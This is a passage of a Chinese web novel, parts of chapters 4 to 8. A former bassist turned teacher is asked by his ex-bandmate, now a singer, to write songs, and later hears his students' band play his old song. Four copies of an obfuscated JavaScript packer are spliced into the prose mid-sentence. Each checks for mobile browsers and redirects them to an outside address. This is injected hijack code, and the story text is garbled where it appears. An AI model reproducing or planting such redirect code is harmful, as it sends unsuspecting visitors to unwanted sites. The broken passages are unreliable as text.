说完他马上意识到这话题实在找得不够高明,有点哪壶不开提哪壶了,正想换点别的聊,又听俞沅“嗯”了一声:“后来总会遇到一些必须要喝的场合,就学会喝了,不过也不怎么爱喝。” 从前俞沅就坚决不喝,就算别人调侃他跟未成年似的,他也只会淡淡说一句“喝酒又不是什么证明自己的方式”,现在也说不怎么爱喝,那昨天那副失态的模样,是因为高兴了喝多吗?还是…… 总不能真是因为自己没去看他的演唱会吧。 这个话题两人都没再提起。俞沅也的确像在微信里说的那样,不怎么和他叙旧,两人最终各自沉默地吃完这一顿饭……其实以前俞沅吃饭时也不怎么说话,可李萤心不是的,他可以全程说个不停,因此就算只是他们两人一起吃饭,也总是热热闹闹的。 不过上了这个班以后,日常输出得太多,和学生讲,和家长领导讲,讲多了就烦了,李萤心已经没那么爱开口了。李萤心想,此刻的冷场多半也跟这有点关系。 等吃得差不多了,李萤心正盯着面前的剩菜残羹放空,俞沅突然喊了他一声:“哥。” “……嗯?” 俞沅摸了摸鼻子:“其实这次确实是有事想拜托你。” 李萤心真实地感到疑惑:“我?” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742445|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嗯。”俞沅说,“我想发第二张正式专辑了。” 李萤心眼睛首先亮了一下,随后又变得茫然。这和有事拜托他能扯上关系吗? 俞沅接着说:“但是我没歌可唱。” “没歌可唱?” 俞沅直直注视他:“你给我留下的歌我都唱完了,没歌可唱了。” 慢慢地,李萤心明白过来俞沅的意思。 俞沅出道是因为参加了一个主推原创歌手的音综,当时他在节目里唱的大部分都是夜这星时期的歌。乐队虽然散了,但散之前大家也达成过共识,说以前一起演过的歌都是集体的成果,谁以后要是用得着都可以随便用。 再者说那时俞沅约等于素人,没有别的作品,用以前乐队的歌也正常。 又过了一年,俞沅发了第一张正式专辑,总共十一首歌,都是未公开过的歌曲,但也都是些存货。 ……是以前李萤心为乐队写好编好、甚至录好了乐器分轨,但还没发布的歌。 为此李萤心和当年一起录了伴奏的其他乐队成员还从俞沅的经济公司那里得到了一笔费用。 经纪公司来联系他时,用的说辞是因为时间紧迫,来不及请人专门制作一张专辑,又说曲库里的歌俞沅都不喜欢,只有前乐队的歌和他最适配……李萤心爽快地答应了,反正这些歌对他来说不再有什么意义,就这么放着也只是留在数据洪流里不再见天日。 而且俞沅多半会让人把这些歌再改编一下,让它们变得更好、更适合一个solo歌手——原本李萤心是这么想的,他甚至在签合同时大大方方提醒对方可以随意对歌曲进行改动,也可以不用署他的名字。 等专辑发布之后,李萤心才知道俞沅很简单粗暴地用了乐队原来的伴奏。 当然因为是个人专辑,夜这星的名字并不会被过于强调,只成为了歌词本上staff的一员。 李萤心之后收到了经纪公司寄来的专辑,他拆开来看过,歌词本上的每一首歌歌名下,除了标注着“乐队:夜这星”,还工工整整地印了“作词/作曲/编曲/贝斯:水晶”。 那是他以前在乐队里用的名字。 李萤心有种说不上来的感觉,想着早知道他这样就不把歌给他了,谁知道他改都不改就用了啊。 但这并不妨碍他在之后每夜反反复复听耳机里遥远的乐音和歌声。 其实他已经分辨不出自己写的歌是好是坏,出于这种理由,他并不很想去听自己的歌,然而因为是俞沅唱的,李萤心又神差鬼使地被这歌声勾走了魂。 刚刚俞沅说要出新专的时候,李萤心还雀跃了下,可以听到俞沅的声音和新鲜的曲子共舞了。 结果俞沅说他无歌可唱。 可恨人虽很久没再碰面,默契却像洗不掉的顽固污渍,李萤心这次没有自欺欺人地装不懂或者不确信,他听出了俞沅的言外之意。 俞沅想让李萤心给他写歌。 李萤心轻轻叹了口气,打起了太极,希望俞沅也能听懂他的婉拒:“怎么会没歌可唱呢?你们公司应该有那种曲库吧,实在不行请厉害点的音乐人给你量身定做,你之前不是说过挺喜欢那谁……” 俞沅打断了他:“可我只想唱你写的歌。” 5. 第五章 “以前你答应过的,”俞沅补充道,“你说你要承包我所有的歌。” 俞沅的语气很平缓,很平和。说实话,李萤心觉得他这样说话有点太理所应当了,就好像他们还在一起玩乐队,演出结束后俞沅就这样稀松平常地提一嘴你得帮我写新歌啊。 这十分不合常理,李萤心想说,我们以前是很熟,但我们现在很熟吗?吃顿饭尴尬成这样的关系,你上来就让我写歌,何况我现在也真的不会写啊。 乐队解散前他已经渐渐觉得自己写不出来歌了,失去创作能力的独立乐队和被判了死刑无异,加上那时候还有别的七七八八的事,李萤心顺水推舟说了解散。 当然他不再创作不再搞音乐不是一个断崖式的过程,是循序渐进的,一开始李萤心还是会习惯性每天练琴,脑子里很少再流淌一整段新的旋律了,也还是会试着坐在电脑前打开Cubase尝试编曲,试了很多次之后仍然听不出是好是坏。 再后来工作慢慢蚕食了他多余的精力和时间,练习的频率从一天一次到两三天一次一周一次,接着有一次忙了一整个月都没想起来练琴,之后他就再也没练了。 收藏的造型各异五彩缤纷的琴也被转手给了更需要的人,李萤心收获了一堆二手平台里的好评。电脑换成了更轻薄更适合办公的笔记本,新电脑里有课件有卷子和学生成绩分析,但没有作曲软件和各种采样音效的容身之地。 好在他还是爱听听歌,听歌不用耗费什么精力。 包间里静极了,李萤心拿筷子戳了戳已经见底的碗,发出两声脆响,他的眼也盯着筷子尖看,看久了有点眩晕。隔了一小会儿他才道:“我写不了,小沅。” 其实刚才那么一段沉默的时期内,有更多的用来搪塞对方的说辞几乎要涌到李萤心嘴边。这几年来面对学校领导和学生家长,他说场面话的工夫已臻化境,用你拿我取乐呢之类的说辞四两拨千斤地再次把话绕过去也不是不行,但临了临了,李萤心还是给了个最直接的回答,因为他知道俞沅不是在说笑。 他是了解俞沅的,至少曾经了解过。除了一些常规的社交辞令,俞沅说什么就是什么,不爱开玩笑也不会话里藏话,哪怕他说的话不太符合社交逻辑,李萤心面对他时,也不用像和其他人相处时那样要揣测对方的话是否别有深意。 当然,这么久没见,李萤心本也觉得人总该有些变化,但这两天发生的事让李萤心觉得俞沅还是那个连客套都不会的俞沅。 ……然而下一秒李萤心就被打脸了,俞沅竟然说:“我开玩笑的,你不用那么紧张。” 李萤心干笑:“哈哈哈哈我说呢。” 俞沅拿过茶壶,给李萤心时不时就喝一口空得很快的茶杯添满,又说:“其实只是想见见你。” “……是好久没见了,”李萤心又觉得哪里不对劲,如果想怀念一下青春那青春的参与者也不只他一个,于是他问,“怎么不把陈悦也叫出来聚一聚?” 俞沅把茶壶放好:“我说想见你,又没说想聚一聚。” 李萤心:“……这句也是在开玩笑吗?” “嗯,这句也是在开玩笑,”俞沅道,“陈悦见过了,他来看我演出了,我们还在后台聊了几句。只见了他,没见你,感觉还是很遗憾。” “对不……” 抱歉的话没说完,俞沅又一次打断了他:“有什么好对不起的,你有你的安排,何况你今天来了。” 这话和昨天醉后的行为并不匹配。果然人是会变的,俞沅还是说了些场面话。 这几句话真真假假掺杂在一起给李萤心来了一套组合拳,李萤心只好见招拆招。真诚是必杀技,李萤心思索一番之后决定放下尴尬,不搞那么多弯弯绕绕了,反正今天这一面见完可能又会恢复无交集,怎么想的就怎么说吧。 “我也挺想见见你的。”李萤心又在用筷子戳空碗,“其实我内心是想去看你演出的。” 李萤心把自己的心路历程和帮学生拿票的事大致解释一番,又为了显得真诚,抛出许多论据,说自己有一直关注他,看过他其他场云云。 很奇异的,俞沅的表情其实从头到尾没什么变化,李萤心却感觉他开心了起来……当老师这些年学会了洞察学生情绪,练出了一种直觉。 接着比俞沅开玩笑更罕见的事发生了,俞沅主动发起了话题:“那哥在学校里感觉怎么样?” “就那样吧,为了评职称今年当了班主任,有时候真忙得像陀螺……不过还好我们班学生还算比较省心。”李萤心顿了顿,“……呃,都是些鸡毛蒜皮的事。” “挺新奇的,”俞沅说,“以前感觉哥在队里当个leader都管不太了其他两个,现在能管几十个学生。” “……你这话说的。” 俞沅又问:“你们学校接下来不是要办什么艺术节吗?是不是也很忙?” “是啊,为了体现学生真的有在全面发展,领导给我们下了硬指标的,规定每个班一定要有多少个节目报名,还要再在这些节目里筛选……平时让孩子们读书读个没完,什么音乐课美术课很大概率都变数学课,这种时候又突然要学生出来……”李萤心忽然反应过来,“欸不是,你怎么知道我们学校要办艺术节?” 俞沅轻飘飘地说:“我关注了你们学校的公众号。” …… 和俞沅的饭局最后结束于李萤心一句“马上晚自习结束了,我得在放学前再回去看一眼他们”。 两人聊到后来,俞沅表现得对他的生活充满兴趣,李萤心也尽力表现得自然而健谈,但李萤心始终认为这不是因为待一块久了之后破冰,实际上李萤心还是感到如坐针毡。 如今他的生活也就这样,向闪闪发光的大明星展示他一地鸡毛的生活多少让李萤心感到羞耻。 以前讨论的是合成器音乐算不算摇滚,现在能扯到的跟音乐有关的话题是有学生家长跑来说自家孩子喜欢听一些鬼吼鬼叫的歌老师你能不能帮我劝劝他让他听点积极向上的。 终于和俞沅告别的时候李萤心松了口气。 但不可否认,俞沅的到来给他造成的余震有点强烈,那晚他从饭店离开回到学校,又从学校回公寓之后,本来应该为了新一天新的早自习早早洗漱完入睡,但他没有。 他把躺在琴盒里很久的,唯一一把还被他带在身边的贝斯翻出来,不是特别好的贝斯,是最开始他学贝斯时综合性价比买的依班娜SR300E,入门级,天蓝光环渐变色,因为是他的第一把贝斯,李萤心觉得有点纪念意义,没有像其他贝斯一样都被他卖掉。 本来想弹一下,发现放了太久弦已经松了,而且要不插音箱的话要用专门的耳机,那耳机早不知道放哪去了。 当然可以调弦也可以再把耳机也找出来,实在不行还可以插上音箱,李萤心又想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742446|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还是算了,有点晚了,这公寓隔音一般,等下挨邻居投诉就麻烦了。和贝斯笑话里说的不同,贝斯的声音不是真的听不到,相反因为低音更有穿透力,很容易变成震楼器。 于是那晚李萤心只是对着这把琴看了又看,最后让它躺回盒子里,他也躺回了床上。 - 毕竟俞沅的到来也只是一段小小插曲,和李萤心之前想的一样,他们依旧没有交集,聊天框里的对话停在上一次俞沅说他要回京海了,李萤心祝他一路平安。 李萤心依然关注着俞沅的各种动态。俞沅之前和他说自己想发新专辑,很快有些营销号在发什么疑似俞沅新专demo,发完没多久就被删了,不过李萤心从粉丝存档博里听到了这demo,很普通很四平八稳的流行歌,有一两句很洗脑的旋律,感觉会被短视频平台的用户争相用作BGM。 Demo是别的歌手唱的,李萤心有点不相信俞沅会唱这样的歌,但想了想他如果要打开更大的市场,是需要更讨好下沉市场……也有可能真唱这歌。 有那么一瞬间李萤心想转发这段demo给俞沅,问问他是不是真的,想想还是算了。 李萤心的生活很快回到了正轨,用百分之二十的时间教书,用剩下百分之八十的时间处理教书以外的事务性工作。比如艺术节开幕晚会节目报名即将截止,他们班只报了一个独唱和一组小品,报名数量没有达标,李萤心为此在例会上挨了年级主任一顿说,说他就知道抓成绩,搞得学生都不敢参加这类活动,没法全面发展。 和之前耳提面命让他要严格管理的年级主任仿佛不是一个人。 李萤心正头疼着,那他们班没有太多这样的人才也不是他的错,而且确实可能因为他平时的教学风格太过严肃,他们班连那种想借排练光明正大翘晚自习去玩耍的学生都没有。 结果下午某两节课课间,有个孩子在办公室门口探头探脑的,李萤心看见了她,她才补了一句:“报告。” “请进。” 徐斐然“嘿嘿”笑着挪到李萤心办公桌前:“老师……” 李萤心平时和学生关系不近,但有自己的信息网,能知道学生们的很多动态。比如徐斐然上次收到神秘赠票去看了演唱会,因为确信不会真是后援会给她寄的票,她问了一圈人,找不到到底是谁送的票,还被人觉得是在借着问话为目的炫耀。徐斐然也不计较,每天都高高兴兴的,走路感觉都带风,上学状态也好了很多。 李萤心问:“怎么了?” “我想问一下,如果我这里有个节目,但可能不太完美,可以报名参加艺术节吗?”徐斐然脸上挂着不好意思的笑。 “可以啊,”太可以了,李萤心想果然善有善报,这孩子这就无意识地来报恩了,他问,“什么节目?” 徐斐然挠了挠头,说:“就,我和王诗恩她们组了个乐队来着。” 说完还瞄了李萤心一眼,似乎是在揣测面容清秀却永远冷脸的李老师对他们组乐队的行为是否赞同。没得到答复,徐斐然一下紧张起来:“我们是刚组的,之前没有占用学习时间练习……如果老师批准的话,我们之后也会合理安排练习时间的!一定还是以课业为重!” “我说什么了吗?”李萤心从桌兜里抽了张报名表出来,跟递卷子似的递给徐斐然,“报名表,去边上填好了给我吧。”说着看了一眼时间,“赶紧填完去上课啊。” 6. 第六章 徐斐然匆匆填完报名表交到李萤心手中,说了句“老师再见”之后像一阵小旋风飞奔而走。 其实这报名表上也只需简单填写班级、表演人和节目名称,但就这么简单的内容徐斐然也填得七零八落,乐队名叫“还没想好叫什么乐队”,后面倒是跟着四个人名,让李萤心惊叹于他们班竟然还有这么些会乐器的人才储备,甚至让他不禁反思他的教学风格是不是真的有点限制学生自由全面发展了。 不过徐斐然还有这种特长也让他挺讶异,毕竟之前她只是想看个演唱会都被家长制裁了,家长会支持她发展器乐相关的爱好吗?不是家长认知里那些优雅的能培养气质的器乐,而是吉他贝斯鼓……又或许徐斐然是主唱?唱歌倒是没什么门槛,当然唱得好不好就另说了。 节目名称那栏龙飞凤舞地写着“待定”二字,足以见得徐斐然所言非虚,这真是一个刚组的乐队,节目大概率也真的不完美。 ……倒是还挺摇滚的。 上课铃响了,走廊上的吵闹声渐趋于无。隔壁工位的刘老师从教室回来,把小蜜蜂从身上摘下来放好,拿起个保温杯,凑过来看了一眼:“你们班孩子要组乐队啊?” 李萤心点点头:“是啊。” “真不错,”刘老师喝了口水,“我们学校上一次有校园乐队还是前两届吧,那时候你还没来呢……哎哟表演得怎么样就先不说了,但是真受欢迎啊,校园明星似的,当时我们班还有学生装病说要去看校医,结果偷偷溜去社团活动室看乐队排练去了。” 李萤心是为了管得住班上那群孩子才常常板起脸,对着同事倒没这必要,他露出真心的笑,笑容中似乎还有些感怀。李萤心说:“毕竟学习枯燥嘛。” 一群半大孩子,在精力最旺盛的年纪每天被关在教室里学个不停,窗外飞过一只蝴蝶都能引得他们思绪跟着乱飞,更别说这样的活动。走读制的学校倒还好些,像三中这种寄宿制学校,学生们平时出不去外面,也摸不到手机,生活是真的乏味。 三中学生秋季学期期待年底的元旦晚会,春季学期重头戏就是这艺术节,毫不夸张地说,这就是很多学生的盼头。 而校园乐队又属于这些课余事件中吸引人眼球的第一梯队成员,出了学校以后乐队很是烂大街,但学校里的乐队总是独一无二——帅,而且会唱一些带反抗意味的歌,哪怕就只是一句歌词,也能暂时划破学校的沉闷空气。 刘老师的语气略有惊讶:“看你平时严的嘞,还以为你不太喜欢学生太过分心去搞些课外活动。” “那倒不是,”李萤心说,“可能是第一年当班主任,还把握不太好这个度吧。” 严是真的,在其位谋其政,但谁都是从学生过来的,多少能共情一些。尤其李萤心当年还并非什么纯良乖学生。 他第一次组乐队也是在高中,那时候组的还不是夜这星,也是一个连名字都没起的临时乐队。 他不知道徐斐然组成她的乐队过程是否波折,但他当年的确费了一番工夫。他在鲤州市下的一个小县城念书,县城的中学没有太多花里胡哨的活动,似乎也没有学生组校内乐队的先例,他突发奇想在学校贴吧发了招募贴,一年后的暑假才有一个人加他Q/Q应征。 来应征的人是同年级不同班的陈悦,此人说自己会弹吉他,两人在网上相谈甚欢,李萤心觉得自己尚未成型的乐队即将迎来一位吉他大师,见了面之后李萤心才知道陈悦说的会弹吉他是只会弹《小星星》。 李萤心说没关系,他也只会弹钢琴,就算是要转成键盘手也得稍加摸索,但陈悦那时候不知道为什么非常轴,说摇滚三大件吉他贝斯鼓,贝斯手和鼓手都没着落呢,别转什么键盘手了,学贝斯吧。 那鼓手呢?李萤心问。 陈悦说大不了我边弹吉他边弹跳,跳得用力一点地板会给你回声,这也算一种打节奏。 李萤心:…… 陈悦又说,开玩笑的,总之鼓相对好解决一点,但贝斯手才是真的稀缺,常言道学会了吉他那世界上就多了个会吉他的人,但学会了贝斯世界上就多了个乐队,我已经学了吉他了,贝斯就由你来吧。 李萤心就是这样开始学起贝斯的,他和陈悦一起去了县城里唯一一家琴行,因为平时根本没有人买贝斯,店里墙上挂着的都是六根弦的吉他。老板说要买贝斯得订货,于是李萤心掏光了攒了很久的零花钱又等了几天,终于拿到他那把依班娜——尽管后来他发现如果他自己上网买,还能再省三百块。 三百块对于一个普通高中生而言真是一笔巨款,李萤心暗暗肉痛了一段时间。 琴行老板是个奸商,同时却也是个好人,听说他们要组乐队缺个鼓手,竟然自告奋勇地说自己能打,还给他们提供了排练场地。 一整个夏天,李萤心和陈悦每周末都去排练,然后在开学后的某天干了票大的。 琴行老板假装给食堂送货把他的鼓拖过来,李萤心用了五个线很长的排插将电源从教室接到操场,陈悦用五包咪咪虾条贿赂广播站的同学,让他那天中午十二点二十分停下一首歌的时间。 前奏的吉他声通过音箱响彻操场,这个时间点正好不少同学刚吃完饭的同学从食堂出来,路过操场时都停了下来。 李萤心站在立麦前,发着抖的手按在贝斯弦上轮指,不知道是太过紧张还是他音域太窄,唱到第二句就破音了。 他们演的是痛仰乐队的《公路之歌》。 烈日炎炎,李萤心低着头,从额头滑到脖颈的汗让他感觉有些痒,此刻却绝不可能抬手擦一下汗——尽管别人也不一定听得出贝斯的声音。 他不敢抬头,用余光看向“观众席”,越来越多的学生涌向了这里,有人满脸惊奇,通过嘴型可以看出是在反复说“卧槽”,有人和伙伴窃窃私语,有人开始叫好。 ……然后年级主任、班主任和保安大队长组成的豪华嘉宾阵容也来了,最终李萤心他们也没把歌演完,还喜提了停课处分大礼包。 现在回想,那时候演得真是不怎么样,整个……不,是半个演出过程也很滑稽。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742447|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 但真的太摇滚了。 …… 刘老师又和李萤心交流了几句带班心得,之后安静地各干各的活,不过李萤心看似在批改作文,思绪已经飞走一会儿了,想来想去,下课铃一响,他又溜达到了班上。 到放学时间了,孩子们听到讲台上的老师宣布下课便鱼贯而出,结果看见门口的李萤心,又纷纷刹车问好,李萤心摆摆手示意他们赶紧走,随后逮住了也准备去食堂的徐斐然。 徐斐然看他时表情怯怯,问话却十分直接:“老师怎么了……难不成您反悔了?!” 李萤心:“……” 李萤心:“你们打算什么时候排练?” 艺术节开幕式的节目不是报了名就能选上的,还要经过一轮筛选。且按惯例只有被正式选上之后才能申请利用一部分晚自习时间进行节目排练。 这个阶段徐斐然他们就算要练,也就只能挤点中午休息时间,或者晚自习结束后熄灯前那么短短几十分钟。 徐斐然也是这么回答的,而且也许是怕被李萤心批评,她还把练习的频率说得很低。 李萤心皱眉:“这哪够,万一没选上怎么办?” 徐斐然张了张嘴,一脸“圣意真的好难揣测”的表情。 说要组乐队这几个学生成绩都还算稳定,李萤心又说:“今晚开始第一节晚自习能把作业写完的话就来跟我拿条子,第二节去排练室练。作业不许糊弄也不许抄别人的,否则直接就别报名了。” 当然李萤心还是要一碗水端平:“你顺便跟报了别的节目的同学也说一下,他们如果想多排练一下,也是按照这个标准来。” 徐斐然木木然听完,终于消化完李萤心的话似的,夸张地后退一步,鞠躬鞠成直角:“谢谢老师——!”随后欢呼着窜回班里,抓住另外一个也是乐队成员的同学,眉飞色舞地说着什么,应该是在传达李萤心刚刚的话。 李萤心嘴角往上翘了一点,转头回办公室。 或许这之后学生之间的传言会变成“李老师挨了领导一顿骂之后感觉颜面尽失,决定不仅要抓成绩,还要在这种文艺活动中也大放异彩狠狠打主任的脸”之类的,但也无所谓。 李萤心只是在这么多年以后忽然想通了那个坑了他三百块的琴行老板为什么突然又愿意帮助他们那支不像话的乐队,甚至最后还放下一个中年人的体面跑到学校里和他们一起闹。 那年老板听到他们说要组乐队,在夸夸其谈中插了一句:“我年轻的时候也跟朋友们一起组过乐队。” 那个时候李萤心只觉得这是一句平平无奇的吹牛台词,和其他从大人口中说出的、以“我年轻时”开头的话没有任何区别。 这个傍晚他看着小姑娘奔向她的伙伴,心里想的也是——我以前也和朋友们一起组过乐队。 一起组乐队的人就像同一辆列车上的乘客,大家只是共乘一段路,总有各自在不同站点下车的时候。李萤心很难再回到他的那辆车上,但他希望他的学生能在她自己的旅途中更尽兴一点。 7. 第七章 果然那晚徐斐然带着她和其他几个学生的作业跑到办公室让李萤心检阅,得意扬扬地换回了一张排练室的使用许可。连续好几天都是如此。 等到了下一周,李萤心接到通知说这乐队的节目选上了,这下也不再需要班主任额外批准,协调好时间以后,她们就能光明正大去排练。 徐斐然不用每天来找他开条子,他都替徐斐然松了口气。 结果这天第一节晚自习结束,徐斐然趁坐班的李萤心还没离开教室前三步并作两步蹦上了讲台,双手背到身后,又是嘿嘿一笑,问他:“老师,你不来看看我们排练吗?” 李萤心没料到徐斐然会突发此问,按他的理解,搞乐队的叛逆青少年应该希望古板师长离他们远点。 学生不知道想的哪一出让他去看排练,但他出于不想跟学生拉近关系的心态,还是拒绝了:“我是教语文的,又不是教音乐的,看不懂你们排练,你们自己好好加油就行。” “好吧,”徐斐然瘪了瘪嘴,“但是其他班的班主都会去看排练欸。” 李萤心没说自己去看还是不去,扬了扬下巴示意徐斐然看杵在门口的另外几个学生——他们的乐队成员:“他们等你呢。” 徐斐然又一溜烟地跑了。 第二节晚自习,李萤心在隔壁看班,他同时教高一3班和高一4班的语文,兼任3班的班主任。下了晚自习以后他没像平时一样在办公室里再待一会儿,而是揣了个手机和下课准备冲回宿舍或去食堂吃宵夜的学生们挤在一起下楼。 倒是没什么急事,就是…… 下了教学楼,往校门口方向走,途中会经过学生社团活动中心,器乐排练室也在那上面。 李萤心想,既然顺路就去看看。不过说不定徐斐然她们已经不在上面,很多有节目的学生会借着排练的机会提前回宿舍。 就这么“顺路”拐进了活动楼,再“顺路”按了电梯去排练室,李萤心看见排练室的门虚掩着,孩子们还在里头。 没有听到乐声,应该是练完了一轮,屋子里的人在说话,“这个音有点怪”“你节奏快了”之类的讨论声从门缝里溜出来。 他敲了敲门,里头静音一瞬。 李萤心推开门进去,在几声颇为惊异但七零八落的“老师好”“老师您怎么来了”的问好中也回了一句寒暄:“练到这么晚?” 王诗恩——看上去是吉他手——弱弱地答了一句:“马上就准备回去了。” 与她的小心翼翼不同,徐斐然不知道是不是近期来找李萤心开条子开多了,单方面觉得和李萤心熟稔起来,竟然开起了玩笑:“我们太菜啦,菜就要多练啊。” 李萤心转过身去,看到刚才在他视野盲区的徐斐然,她背着一把Fender美专二代暗夜蓝贝斯,在排练室的顶光照射下,琴身流光溢彩。 看起来不像太业余的爱好者会买的琴,起码不会是初学者的第一把琴,倒不是难上手,而是贵。一般人刚接触或者玩一下的话一般会选一两千的琴,芬达美专二代价格他当年买是一万多……也许现在已经降价了。 他有过一把同款琴,这琴刚出的时候他咬了咬牙买下,等了两个多月等琴飘洋过海来到他身边,买下它的原因很简单,他觉得这把夜空颜色闪闪发亮的琴和夜这星很相衬,当然琴的音色相较其他的贝斯要再清透一些,没那么闷。 收到琴的当晚他就爱不释手地练了整晚,说来也怪,那天灵感就像喷泉,他只花了两个多小时就做出了一首歌的粗略的旋律编曲。不知道是不是因为在弹这把琴,整首歌本来是偏抒情的,像宁静的夜幕,但贝斯线此时不像其他歌一样只是作为不太有存在感的底,更像划过天幕的流星。 李萤心满意极了,然而给歌起名的时候卡了壳,总不能叫暗夜蓝贝斯之歌。他一向是个起名废,不过他联想能力很强,想着买这把琴是因为琴和乐队名字搭,那四舍五入一下因为这把琴而写出来的歌怎么不能算和乐队有点渊源呢。 于是他装模作样说自己为乐队专门写了一首《夜这星之歌》,但因为名字太土被陈悦驳回,后来就略称《夜这星》。 有了曲子和意象之后李萤心才慢慢往里头填词。 “夜这星”其实是日文单词,意思是流星,上了大学正式找了长期的鼓手成立乐队那天,看到新闻说哪里哪里有狮子座流星雨,李萤心说想不出名字的话我们乐队就叫流星吧,又还是陈悦在那叽歪个不停,说不能这么直接,要起就得起那种让人一眼看过去根本看不懂的名字,这样才比较装逼。 然后身为唯一一个会一点日语的老二次元陈悦查到了流星的日文汉字,说就叫这个吧,读起来很不通顺,会给人一种不明觉厉的感觉。 又过了几年,他写出了这首和乐队同名的歌,在往歌里填词的过程中经历过无数次删改,最崩溃的时候他在文档里胡乱写上了“我对着流星许愿,许点什么愿呢,实在不行许愿我们乐队来个稳定常驻的好声音主唱吧啊啊啊写不出来好烦啊”,写完当然是又赶紧删了。 没有常驻主唱,是他那段时间比较大的烦恼。 不过后来,流星可能确实听见了他的愿望,在他好不容易写完这首歌,和其他成员在学校里表演结束,有个一看就是大一新入学的、在军训时晒得黢黑的学弟在他们收拾舞台时蹲到了他旁边,问他:“你好,请问刚才第二首的歌名叫什么?网易云能搜到吗?” 他们连着演了好几首,一时之间李萤心没反应过来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13742448|145185||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,跟个复读机似的重复:“叫什么来着?” 学弟哼了一小段。 这是个露天快闪舞台,位置在学校商业街中段,来来往往的学生吵吵嚷嚷,但很快李萤心听不见了这嘈杂的背景音。 他有种强烈的直觉,不能放过这个学弟,他飞快地掏出手机,点开二维码时手不知为何在抖,以至于点了好几次才把页面打开:“扫我一下,加个好友,等下告诉你歌名。” …… 倒是蛮巧的,徐斐然居然在用这把琴,不过李萤心不可能提这个事,于是只对徐斐然随口感慨了一句:“没想到你是贝斯手。” 贝斯手本人还没什么反应,旁边的鼓手张逸驰惊叫起来:“Amazing!老师你竟然知道那是贝斯,刚才隔壁班有人来这边串门,还问了一句为什么你们乐队要安排三个吉他手。” 李萤心:“……”大意了。 贝斯手笑话永不过时,王诗恩和另一个同样背着吉他的男生覃思明哈哈大笑,徐斐然对着他们龇牙咧嘴。 闹完之后徐斐然转回身来,竟然很认真地问李萤心:“老师为什么会因为我是贝斯手而意外啊?” “……没有意外,随口说的。”本来李萤心想的是,徐斐然看起来挺活泼的,贝斯在台上又不能蹦又没存在感,确实不像她的风格,不过他不打算再说更多了,免得又被这群敏锐的小鬼抓到把柄,于是他轻巧地转移话题,“不是说让我来看排练吗?演一遍我看看?然后早点回宿舍休息。” “好嘞!” 李萤心说着把门关好,本还在插科打诨的几个孩子们迅速地各就各位。 很多歌都是先出一段吉他,甚至有些歌贝斯出得晚,贝斯手会因为第一段没贝斯而在台上无所事事。 但他们演的这首歌,是由徐斐然先开始的。 李萤心挑眉,这还是首贝斯前奏的歌。 她的指法看起来还有些稚嫩,但还算流畅,只是…… 前几个音出来时,李萤心就感觉不太对劲,有点耳熟,但用同一个和声走向的歌多了去了。等徐斐然又弹了两个乐句,鼓和吉他也接上时,李萤心感到世界上的巧合有时候真的多到荒唐。 他们演的就是《夜这星》——之前徐斐然填报名表,曲目写的是待定,后来李萤心都没有再关注他们节目练习的进展,被选为艺术节正式节目之后各种事宜都是由学生会的干部去对接,李萤心确实不知道他们会演这首。 当然,也不奇怪,毕竟徐斐然是俞沅的狂热粉丝。 他只是觉得好奇妙,在他放弃音乐的若干年后,在本来应该与音乐毫无关系的世界里,他的学生抱着一把当年他也有过的琴,在他面前演奏他的唯一一首得意之作。 8. 第八章 李萤心无声地叹了口气。 如果知道要演这首歌,他还真不一定会刻意顺路过来。 歌是他写的,不管从主观感受还是外界评价来看,这应该也确实是他写得最好的一首歌。 但不知从什么时候开始,他不大愿意再听到这首歌——不是羞耻心作祟。 对自己的代表作感到厌烦,是很多内容创作者过不去的一关,甚至总有创作者和捧场者因此心生嫌隙互相指责。就拿唱歌来说,人们常常会听到歌手调侃说唱哪首歌唱得快吐了。歌手的歌迷,尤其是喜欢该首歌的歌迷会感到不满,觉得自己喜欢的作品,却不被其演唱者所珍惜。 李萤心对《夜这星》的情感和这种例子有共通之处,他对这首歌,爱过也恨过。 这首歌刚诞生时,李萤心对它的爱浸透了歌里的每一个音符,它也为李萤心带来很多幸运。 